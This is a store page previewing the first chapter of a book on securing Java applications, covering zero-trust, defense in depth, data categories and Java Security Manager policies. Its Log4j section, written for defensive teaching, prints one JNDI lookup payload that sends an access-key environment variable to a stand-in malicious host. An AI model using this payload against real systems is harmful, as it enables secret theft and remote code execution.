Mastering Secure Java Applications: Navigating security in cloud and microservices for Java (English Edition)
()
About this ebook
It builds focus on securing your source code through analysis, vulnerability detection, and automation. It also ensures the safety of your runtime environment for managing traffic and enables multi-factor authentication. While addressing data security concerns with encryption, anonymization, and cloud-based solutions, it also uses tools like OpenTelemetry for real-time threat detection. It manages sensitive information securely with Vault integration and explores passwordless authentication. Reference architectures, secure coding patterns, and automation practices are also provided to aid implementation.
By the end of this book, you'll be well-equipped to build secure Java applications with confidence and deliver applications that are robust, reliable, and compliant.
Related to Mastering Secure Java Applications
Related ebooks
Spring Boot 3.0 Cookbook: Proven recipes for building modern and robust Java web applications with Spring Boot Rating: 0 out of 5 stars0 ratingsPython APIs: From Concept to Implementation Rating: 5 out of 5 stars5/5Java Persistence with NoSQL: Revolutionize your Java apps with NoSQL integration (English Edition) Rating: 0 out of 5 stars0 ratingsUltimate Microservices with RabbitMQ Rating: 0 out of 5 stars0 ratingsUltimate Docker for Cloud Native Applications Rating: 0 out of 5 stars0 ratingsRails 4 For Startups Using Mobile And Single Page Applications Rating: 0 out of 5 stars0 ratingsAdvanced React Patterns Rating: 0 out of 5 stars0 ratingsLearning CoreOS: Learning CoreOS Rating: 0 out of 5 stars0 ratingsPractical C++ Backend Programming Rating: 0 out of 5 stars0 ratingsNoSQL Essentials: Navigating the World of Non-Relational Databases Rating: 0 out of 5 stars0 ratingsNeo4j High Performance Rating: 0 out of 5 stars0 ratingsJob Ready Java Rating: 0 out of 5 stars0 ratingsUltimate SwiftUI Handbook for iOS Developers: A complete guide to native app development for iOS, macOS, watchOS, tvOS, and visionOS Rating: 0 out of 5 stars0 ratingsCloud Native Microservices Cookbook: Master the art of microservices in the cloud with over 100 practical recipes (English Edition) Rating: 0 out of 5 stars0 ratingsVulkan Expert: Mastering High-Performance Graphics: Vulcan Fundamentals Rating: 0 out of 5 stars0 ratingsDesigning deep learning systems: Software engineering, #1 Rating: 0 out of 5 stars0 ratingsAndroid Application Development with Maven Rating: 0 out of 5 stars0 ratingsC++ Cookbook: How to write great code with the latest C++ releases (English Edition) Rating: 0 out of 5 stars0 ratingsLPI Web Development Essentials Study Guide: Exam 030-100 Rating: 0 out of 5 stars0 ratingsLearning RabbitMQ with C#: A magical tool for the IT world Rating: 0 out of 5 stars0 ratingsGolang for Jobseekers: Unleash the power of Go programming for career advancement (English Edition) Rating: 0 out of 5 stars0 ratingsMachine Learning for the Web Rating: 0 out of 5 stars0 ratings
Security For You
CompTIA Security+ Study Guide with over 500 Practice Test Questions: Exam SY0-701 Rating: 5 out of 5 stars5/5Social Engineering: The Science of Human Hacking Rating: 3 out of 5 stars3/5CompTIA Security+ Study Guide: Exam SY0-601 Rating: 5 out of 5 stars5/5Codes and Ciphers Rating: 5 out of 5 stars5/5Cybersecurity For Dummies Rating: 5 out of 5 stars5/5How to Become Anonymous, Secure and Free Online Rating: 5 out of 5 stars5/5Cybersecurity: The Beginner's Guide: A comprehensive guide to getting started in cybersecurity Rating: 5 out of 5 stars5/5Make Your Smartphone 007 Smart Rating: 4 out of 5 stars4/5Unmasking the Social Engineer: The Human Element of Security Rating: 5 out of 5 stars5/5Tor and the Dark Art of Anonymity Rating: 5 out of 5 stars5/5How to Hack Like a Pornstar Rating: 4 out of 5 stars4/5How to Hack Like a GOD: Master the secrets of hacking through real-life hacking scenarios Rating: 4 out of 5 stars4/5(ISC)2 CISSP Certified Information Systems Security Professional Official Study Guide Rating: 3 out of 5 stars3/5What is the Dark Web?: The truth about the hidden part of the internet Rating: 4 out of 5 stars4/5Cybersecurity All-in-One For Dummies Rating: 0 out of 5 stars0 ratingsAmazon Web Services (AWS) Interview Questions and Answers Rating: 5 out of 5 stars5/5CompTia Security 701: Fundamentals of Security Rating: 0 out of 5 stars0 ratingsHacking For Dummies Rating: 4 out of 5 stars4/5CISA Certified Information Systems Auditor Study Guide Rating: 5 out of 5 stars5/5IAPP CIPP / US Certified Information Privacy Professional Study Guide Rating: 0 out of 5 stars0 ratingsDeep Dive: Exploring the Real-world Value of Open Source Intelligence Rating: 0 out of 5 stars0 ratingsNIST Cybersecurity Framework: A pocket guide Rating: 5 out of 5 stars5/5CompTIA Network+ Review Guide: Exam N10-008 Rating: 0 out of 5 stars0 ratingsEthical Hacking 101 - How to conduct professional pentestings in 21 days or less!: How to hack, #1 Rating: 5 out of 5 stars5/5
Reviews for Mastering Secure Java Applications
0 ratings0 reviews
Book preview
Mastering Secure Java Applications - Tarun Kumar Chawdhury
C
HAPTER
1
Secure Design Principles for Java Applications
Introduction
A Java application is a computer software program written in Java language. Java application is composed of machine independent class files which can run as Client only or in Server in any systems or devices within a Java Virtual Machine (JVM) runtime. There are various kinds of Java Applications. It can be a standalone mobile application like an Android Apps; A Network system application for router or switches; An embedded system application; A Java web server and Java Servlet container like Jetty; An Enterprise Distributed Java Applications. The security aspects of the Java application will vary based on the types of Java application. Addressing Security aspects of all possible types Java applications is beyond the scope of this book. This book primarily addresses the security aspects of enterprise distributed Java applications which follow a multi-tier architecture.
Java application has been very successful following multi-tier architecture as shown in Figure 1.1:
Figure 1.1: A subjective traditional multi-tier Java based distributed application architecture
In this figure the most important thing to note from a Java application security point of view are its edges 1,2,3,4,5. Here, every application tier has its own boundary or perimeter. When an application tier interacts with another tier whether incoming or outgoing it has to cross the edge of the application tier which must be secured. However, if we look into Figure 1.1 carefully we observe security of some edges inherently relies on network infrastructure. Here we do not authenticate every incoming or outgoing request which crosses the edge of the application tier. However we have moved from traditional Java applications deployed in homogeneous on premise infrastructure. Modern applications are built using heterogeneous multi-tenant cloud infrastructure following microservice/API and cloud native patterns. In this pattern we cannot simply rely just on network infrastructure to secure application and we need to authenticate every request crossing the edge. This is the core concept of zero-trust. If we would have followed zero-trust security principles while developing Java Application we could have avoided the Log4j like incident in spite of the Log4j library having security vulnerabilities. We will now discuss in detail what is zero trust architecture[1] and how we can apply those principles in securing Java Application.
This chapter introduces the key aspects of zero-trust application security model and how five dimensions of application developer needs to be addressed for end to end security of Java application. This chapter also discussed how security compliance requirements have changed post log4j incident and how enterprises need to follow a security first design approach. This chapter lays out the foundation of the secured application development strategy and discusses those strategies in detail in subsequent chapters.
Structure
In this chapter we will discuss following topics:
Zero-trust security model
Log4J incident and regulatory compliance
Five dimensions of application development
Objectives
The security aspect of a Java application, especially cloud native zero-trust compliance has primarily five dimensions, Source Code Security, Application Runtime Security, application data security especially PII, PHI and PCI, application observability and threat protection, integration with vault. At the end of this chapter the reader should have a good understanding of key aspects of the zero-trust application security model and how five dimensions of application Security, needs to be addressed for end-to-end security of a Java Application. This chapter also discussed how Security compliance requirements have changed post log4j incident and how enterprises need to follow a security first design approach. This chapter lays out the foundation of the secured application development strategy and discusses those strategies in detail in subsequent chapters.
Zero-trust security model
Zero-trust is primarily a network security model. However, it is very important for Java developers to understand the basic principle of zero-trust which will help developers to design and code Java based enterprise applications ensuring security compliance. Let us look into some of the key principles which are the foundation of zero-trust security model[1] [2].
Key principles of zero-trust security model
Key principles of zero-trust security model are as follows:
Networks can always be vulnerable for attack.
Threat exists everywhere whether it is internal or external to the enterprise network.
All requests must be authenticated. No special privilege should be given to any request based on its origin with respect to device, user or network.
Must perform logging, monitoring and observability of all requests.
This can be very overwhelming for a new Java Developer. However, we promise you will appreciate this learning later as the key to Java Application Security is multidimensional. It is not just one layer of defense with Java Code which can make a Java application secured. The real defense of a Java Application should be in multiple layers. So in case attackers break one layer there should be another layer to protect it. This is commonly known as defense in depth. We will look at this concept later in greater detail. Now let us look into the basics of Java application deployment so that we can connect all dots with principals zero-trust network security model. In modern days Java applications in the enterprises are primarily deployed with some web servers like Jetty, Tomcat, Open Liberty or some commercially licensed Java web or app servers or these servers are packaged as a docker container and run in some container orchestration platform like Kubernetes or K8s. These servers or platforms make a Java program accessible over the network or sometimes it performs some scheduled Job or batch operation. So Java applications always rely on a company’s network (physical or virtual) to make it accessible and operational. Without a network, the existence of Java Application is meaningless. So it is very important we always assess and understand the type of network. So let understand three types network security model depicted in Figure 1.2:
Figure 1.2: Comparing three different trust model - single trust vs dual trust vs zero-trust network security model
Let us say, in an organization there are many Java applications running in Servers. Every Java application has its own server setup in terms of sizing configuration (disk, CPU and memory size) and each of those applications deals with different types of data. Some of them have very sensitive data which should have restricted access and should not be exposed to the public internet. Similarly, some of the applications are designed to be exposed outside of the company’s network and make it accessible from the internet.
In Figure 1.2 there are nine consecutive boxes inside the circle in all three security models. Let us assume each of these boxes represent the servers running each Java Application and so on there are nine different Java applications running in a company’s network. Let us also assume out of these nine applications only one application needs to be exposed to the Internet. Now let us compare how three different network security models will perform in terms of threat protection for enterprise for these nine different Java applications running on the servers. From the principal of Zero Trust, we learned that threat exists everywhere. So, for this scenario we can have external threat, internal threat and threat from a compromised server which can happen via internal or external threat. We call it server threat and so on once an attacker takes the control of one server, they can use that server as a new attack surface to attack the rest of the server.
Now if we do a threat analysis as illustrated in Table 1.1 we can observe that in the Single Trust model once an attacker gets access to a server running Java application it can get access to all other java application servers making it 100% compromised. Similarly in the dual trust model we have one extra layer of defence within the internal network as well. This will definitely decrease internal threat percentage. However once an attacker compromises the server it can gain access to all other servers similar to the single trust model. Now if we verify the same in zero trust model it is a clear threat from all actors that has been reduced as the attacker can no longer gain additional access from a compromised server. This is because there is explicit network based access granted between different Java Application servers. In the zero-trust model every Java application must require every new request to identify and authenticate itself without proving special privilege based on its origin with respect to device, user, or network.
Table 1.1: Threat analysis and comparison of three different trust model
Understanding the concept of this zero-trust threat model is paramount for every Java developer to design and build robust secure scalable Java Application that can run in company’s on-premises corporate infrastructure or in any public cloud infrastructure.
Layers of security and defense in depth
Defense in depth is practiced in all major modern mission critical Java applications to secure the application from unauthorized access. We learn from the zero-trust model that never assumes trust based on location of the request. Instead, always verify the request. This is achieved by having multiple layers of security. In Microsoft Azure Well Architected Security Framework[4] three common principles have been adopted to implement defense in depth.
Confidentiality, integrity, and availability which is in short known as CIA. In this book we adopted the Azure Well Architected Security pattern for defense in depth. There are many other implementations like Google Cloud defense in depth [5]. However, when referring to defense in depth, the reader should assume Azure Well Architected Security pattern for defense in depth[4]. Readers are advised to check references and go through Azure Well Architected Security reference documentation[4] for further detailed information if interested. However here we will focus on the key layers of defense in depth which are more application and data specific and how it can be applied to build secured Java application (refer to Figure 1.3):
Figure 1.3: Various layers of defense to secure an application [4]
If we look into Figure 1.3 we can observe there are two ways defense in depth works for a Java application. Defense in depth during incoming request and defense in depth during outgoing request. In general threats from incoming requests are more common and generally a major percentage of the incoming threat gets nullified before even it reaches Java Virtual Machine by additional infrastructure layers of defense in depth. Threats generated from incoming requests could cause distributed denial of service (DDOS) attacks, information leak or may actually create a new outgoing request which may cause data exfiltration. Recent Log4j incident is an example where an attacker can exploit a certain vulnerability of the Log4j library which can generate an illegitimate outgoing request from a completely legitimate incoming request. We will discuss more on how the Log4J incident occurred and how developers can use the zero-trust model to prevent the same in the following section.
Log4J incident and regulatory compliance
Let us first understand how Log4j works. Log4j is an Apache open-source library that has been used in Java programs for more than a decade now. The purpose of the library is simple - log different messages based on various set Levels like INFO, DEBUG, ERROR, TRACE and so on. and expression. The following code is illustrated:
Logger logger = LogManager.getLogger(...);
logger.info(Transaction ID = {}
,request.getTransactionId() );
Here we are plugging the transaction Id from request Object through the above expression and logging the same to an external file for tracking. Here Java Virtual Machine (JVM) will get the transaction id and then inject the transaction ID where we have curly braces in the Logging statement and print it to the logging stream. Now take another similar example:
logger.info(Customer {} placed an order id {}
, request.getCustomerID(),request.getOrderID() );
Now all these are very simple and standard logging. There is no issue or any further concern. Now let us take another example where Log4j uses JNDI or Java Naming Directory Interface. JNDI is a specification in Java which is used to store an object into a remote location and then serialize them into a byte stream in JVM during JNDI lookup. This technology has been in Java for a long time since the inception of J2EE or Java EE specification. This was developed in an era when service-oriented architecture or REST API standard has not evolved. This was a technology adopted for distributed system communication in Java. Let us see an example, where using the URL below, JNDI will get a user object for Tarun from the company LDAP Directory services. This concept was introduced in Log4J in 2013 [6] to use JNDI lookup to log messages.
# ldap://dir-local.company.com:443/O=Tarun, C=US
Let us say during logging messages we would like to append some identifier before each logging statement. Then we can allow Log4j to perform JNDI and fetch the value of the identifier from a remote system using the following line of code. If you have this line of code in your app.
logger.debug(System ID : {}
, ${jndi:ldap://remote-system-config/id}
);
Then the JNDI look is performed by Log4j library code and not by application itself. This poses a security threat. Here a JNDI URL is accepted as an argument to the Log4j statement. Let us follow the code now. It is a very common scenario where a user might searching something and if we do not find the data for the search user who is using we log it for troubleshooting or other key performance indicator or KPI purpose:
logger.error(No Data Found for Search Input: {}
, request.getSearchInput());
Let us now assume a threat actor uses search input as:
${jndi:ldap://malicious.site.com:660/${env:ARM_ACCESS_KEY}}
This will cause dual issues:
Sensitive information leak: As Log4J also allows resolution of environment variable expression threat actor can exfiltrate these information to a remote attacker server
Instantiating any arbitatory Java object in App JVM: However the reality is YES and that this incident got Common Vulnerability Scoring System or CVSS score of 10 which is highest in CVSS metrics range. Figure 1.4 summarizes this attack:
Figure 1.4: An typical example of possible breach due to Log4j vulnerability
Now we should have enough understanding of what Log4J vulnerability is and if interested for further details on this incident readers are advised to refer to references[6] and[7]. Now let us connect this incident with discussion which we had in the previous section on Edge security and zero-trust. Apache Library Log4J is an open source code where we do not have controls. We can certainly fix the Log4J issue by upgrading the library to a higher version where threat is remediated in the code. However, the Log4J vulnerability has been there since 2013 and it was just discovered in 2021. So there might definitely be situations where a threat actor could have potentially exploited this vulnerability and we did not even realize it. Similarly there might be other vulnerabilities which are not discovered. However, instead of relying on these open source library’s code to fix any vulnerabilities WHAT IF we apply zero-trust principals and secure our incoming and outgoing requests to the App and so on secure the application layer edges. The implementation may not always be a trivial solution and will vary based on application and complex use cases it has. However if we apply the basic principle of zero-trust and so on verify all requests, we can determine in the above example depicted in Figure 1.4, that input search text can be blocked by simple string sanitization check. If we can scan and verify all input search String, we should be able to identify malicious search text and eliminate threat by rejecting the request itself. So it will be stopped in incoming layers itself. If threat actors passed incoming layers, we would have a second opportunity following zero trust principals by inspecting all traffic outgoing from JVM runtime. Assume we have implemented a rule to secure our application so that only a specific set of allowed URLs will be allowed to make outgoing network calls from Application. This is also known white listed URLs. So if we have a proper outgoing request white listed in Java Application, we could have stopped making potential arbitrary network calls by the Log4J library.
Figure 1.5 depicts how the Log4j incident can be avoided with a zero-trust mindset and applying some simple checks on incoming and outgoing requests. One thing is clear now that when we talk Threat to a Java Application the most important thing needs to be protected is data the application owns or has authorization to access. Most of the time threat actors try to exploit the app vulnerabilities to gain unauthorized access to the application data. Hence, it is very important as Java Developer we understand what kind of data an application is expected to use:
Figure 1.5: Log4j vulnerability in Figure 1.4 avoided by applying zero-trust principals
This is where regulatory compliance comes into picture. Based on the nature of data at risk there are different compliance requirements which might vary based on privacy data domain(for example healthcare, banking, credit, education and so on.). The compliance requirement also varies based on state, country of jurisdiction and local and federal law. To make simpler for the reader let us divide the data into five broad categories depicted:
PII: Personal Identifiable Information like first name, last name, date of birth and so on. are considered as protected private information and many regulatory compliance and incident reporting requirements. For example, European Union enforce General Data Protection Regulation (EU) (GDPR) to protect PII data of resident of EU [10].
PHI: Protected Health Information or PHI like Patient health status or healthcare claim information are subject to HIPAA compliance in the USA[9].
PCI: Payment Card Industry Data Security Standard has its own specification and requirement to handle credit card transaction and is administered by Payment Card Industry Security Standards Council[8].
Non PII and PHI: These are data which is not subject to any regulatory compliance. However, it could be intellectual property of an enterprise. Hence, we need to protect this kind of data based on Java application specific needs.
App Config: This kind of data is generally application internals, and it can include sensitive secrets like DB username/password, API Key and so on. It is not subject to any regulation or part of company intellectual property. However, it is most important data to be protected for unauthorized use as if this data gets compromised by a threat actor, they can get access to all other types of App data which are subject to regulatory compliance. Hence, it must be protected and kept secured in place which can be access controlled and audited.
As a Java architect, designer, or developer we must have an understanding of these various data domains and their regulatory compliance needs for the application which has authorization to access those data. Also we need to have proper architecture and design in place for application to ensure data and privacy compliance for the app.
Five dimensions of application development
There are many aspects of secured Java application development. However in this book we will group all those aspects into 5 major categories as depicted in Figure 1.6. We will discuss each category in detail in the following chapters. However, we will introduce the key concept and set context for these five categories mentioned in the following figure:
Figure 1.6: Five dimension of application development
Source code security
Source Code Security is all about static code analysis or SCA. To perform proper static code analysis (SCA) we need tools of ecosystem and automation to make sure our source code is secured. We will discuss the tools ecosystem and automation in the next chapter. Here we will discuss the fundamental aspects of source code security and coding best practices. As a developer let us ask the following questions to which has a significant role to play for source code security as illustrated in Table 1.2:
Table 1.2: Source code security checklist
The above checklist questions are not exhaustive. However, it can provide a good starting point for a new Java developer to finalize its tools ecosystem for analyzing and securing source code. We might have answers to all the questions on Day 1. However as application development evolve, it will be a good practice to track answer of these questions and log the decision in some decision log as its finalized based on the business and security requirement of the application. We will into more details and different aspects of Java source code analysis and how we can detect various possible threats in Chapter 2, Analyzing and Securing Source Code. There we will discuss the tools and ecosystem required for Java source code analysis and how we can keep up to date on the Vulnerabilities (CVEs) detected in Nation Vulnerability Registry. In this Chapter we will introduce GitHub Platform specific patterns and tools as a reference solution to address source code security needs. Also discusses the automation aspect of detecting and preventing source code vulnerabilities using tools like Dependency BOT, Automated Pull request and code review automation. Some advanced topics like solutions to secure Java application in OCI compliant containers will be also discussed further in Chapter 2, Analyzing and Securing Source Code.
Application runtime security
Once we have a secure static source code which has been successfully unit tested, build tools like maven can create Java Archive Resource (JAR) or web archive resource (war) which are runtime ready for Java Virtual Machine or JVM. Application runtime security is all about detecting the various attack surfaces and vulnerabilities of Java Runtime and how to protect them from threat actors. Figure 1.7 shows a basic flow of how Java static source code gets translated into JVM executable bytecode which is platform or operating system agnostic:
Figure 1.7: Java ByteCode is platform or OS agnostic
While it is a strength for Java code to write once and run anywhere, this is also a security risk. Now anyone can have the ability to bring a piece of remote code which in the form of bytecode and execute in JVM. This was one of the log4j vulnerabilities. Also typically most enterprise Java Application use some sort of underlying open source code which the developer does not direct control or any support. However these libraries are super useful and they key strength Java open standard and its ecosystem. So make sure as Java developers we can control what Java code should be allowed to execute within a JVM can be controlled by Java Security Manager and its policy document. By default Java Security Manager restricts access to many operations including what outbound network socket connections are allowed. Here is an example[11] which will result in java.security.AccessControlException: access denied (java.net.SocketPermission www.yahoo.com:80 connect,resolve) as by default Java Security does not allow this URL to make a connection from JVM runtime. We can allow it by overriding the default policy in the policy file:
new URL(http://www.yahoo.com:80
).openConnection().connect();
System.out.println(Successful Connection
);
Here we defined policy in custom policy definition in AppSecurity.policy as follows:
grant {
permission java.net.SocketPermission www.google.com:80
,connect,resolve
;
};
If we execute the code above again now we will output it as Successful Connection. This is because now we now white listed this outbound URL and informed Java Security Manager to allow this URL. We can pass the custom security policy definition file as part of JVM arguments:
java -Djava.security.manager -Djava.security.policy=/secured-java-app/tree/main/chapter1/src/chapter1/AppSecurity.policy chapter1.TestSecurityManager
This is just one example of how we can control outbound calls from Java programs to make them more secure and mitigate many risks associated with unknown remote code execution. However this should give the reader a core idea to protect JVM edges making unwanted calls and follow zero-trust security model at JVM level. We will discuss in detail many other techniques in Chapter 3, Application Runtime Security which includes advanced security options like Multi Factor Authentication and implementation.
Application Data Security
Data in transit and Data at rest are two fundamental aspects we need to consider for application data security. Figure 1.8 shows how data flows from various points - Point 1 (User’s UI which could be the user’s browser or mobile app) | Point 2 | Point 3 | Point 4 | Point 5:
Figure 1.8: A typical example of Login Flow to showcase how data flows at various stages
This is just an example to simplify the concept. In reality there could be many additional hops or points between Point 1 and Point 3 like Layer 7 load balancer like Web Server, Layer 4 load balancer like F5 and so on. The core idea